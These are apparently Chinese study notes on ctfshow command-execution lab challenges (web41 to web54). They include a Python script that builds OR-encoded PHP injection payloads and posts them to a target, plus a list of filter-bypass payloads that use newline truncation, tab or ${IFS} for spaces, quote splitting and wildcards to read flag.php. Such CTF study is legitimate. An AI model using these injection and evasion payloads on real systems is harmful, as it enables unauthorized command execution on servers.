8.web41
留下了"|"运算符可以用没被过滤的字符通过或运算拼出我们想用的字符
用的羽师傅的脚本
ctfshow web入门 web41_ctfshow web41-CSDN博客
# 导入正则表达式模块
import re
# 导入urllib模块:用于处理URL的模块。
import urllib
# 从urllib模块中导入parse模块:urllib模块的一部分,用于解析URL。
from urllib import parse
# 导入requests模块:用于发送HTTP请求的模块。
import requests
contents = []
# 遍历0-255的整数
for i in range(256):
for j in range(256):
# 将整数转换为16进制字符串,不足两位前面补0
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
# 定义正则表达式,匹配数字、小写字母、大写字母、^、+、~、$、[、]、{、}、&
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
# 如果i或j对应的字符匹配正则表达式,则跳过
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
# 将16进制字符串转换为字符
a = '%' + hex_i
b = '%' + hex_j
# 对应字符进行按位或运算
c = chr(int(a[1:], 16) | int(b[1:], 16))
# 如果结果字符的ASCII码在32-126之间,则添加到contents列表中
if 32 <= ord(c) <= 126:
contents.append([c, a, b])
# 定义一个函数,用于生成payload
def make_payload(cmd):
# 初始化两个空字符串
payload1 = ''
payload2 = ''
# 遍历cmd中的每个字符
for i in cmd:
# 遍历contents中的每个元素
for j in contents:
# 如果cmd中的字符与contents中的第一个元素相等
if i == j[0]:
# 将contents中的第二个元素添加到payload1中
payload1 += j[1]
# 将contents中的第三个元素添加到payload2中
payload2 += j[2]
# 跳出内层循环
break
# 将payload1和payload2用双引号括起来,并用竖线连接
payload = '("' + payload1 + '"|"' + payload2 + '")'
# 返回生成的payload
return payload
URL = input('url:')
# 构造payload,包含system和cat flag.php命令
payload = make_payload('system') + make_payload('cat flag.php')
# 发送POST请求,将payload作为参数,urllib.parse.unquote函数用于解码URL编码的字符串。
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
# 打印响应内容
print(response.text)
下面是一个具体的例子
9.web42
ctfshow-web入门-命令执行(web42知识铺垫与四种常见截断方法)_分号截断命令执行-CSDN博客
system($c." >/dev/null 2>&1"); // 执行变量$c中包含的命令,并将输出重定向到/dev/null,这意味着不显示任何执行结果
10.web43
nl flag.php%0a 然后查看源代码(nl
命令在 Linux 中用于显示文件内容并加上行号)
或者c=tac flag.php%0a
11.web44
c=tac fla*%0a
12.web45(多过滤了空格)
空格可用%09(tab键)绕过
13.web46
?c=tac<fla%27%27g.php||(?c=tac<fla''g.php||或者?c=nl<fla''g.php|| nl需要查看源代码)
url/?c=tac%09fla?.php||
14.web47到web50类似
?c=tac<f''lag.php||
?c=ca\t<fl\ag.php||
url/?c=tac%09fla?.php||
?c=tac%09fl\ag.php||
?c=tac%09fla?.php%26%26ls
15.web52,53
用$IFS或者${IFS}代替空格
ctfshow WEB入门 命令执行29-77&118-122&124_ctfshow web29-CSDN博客
16.web54
?c=cp${IFS}???g.php${IFS}t.txt
grep命令将在名为flag.php的文件中搜索包含ctfshow文本的行。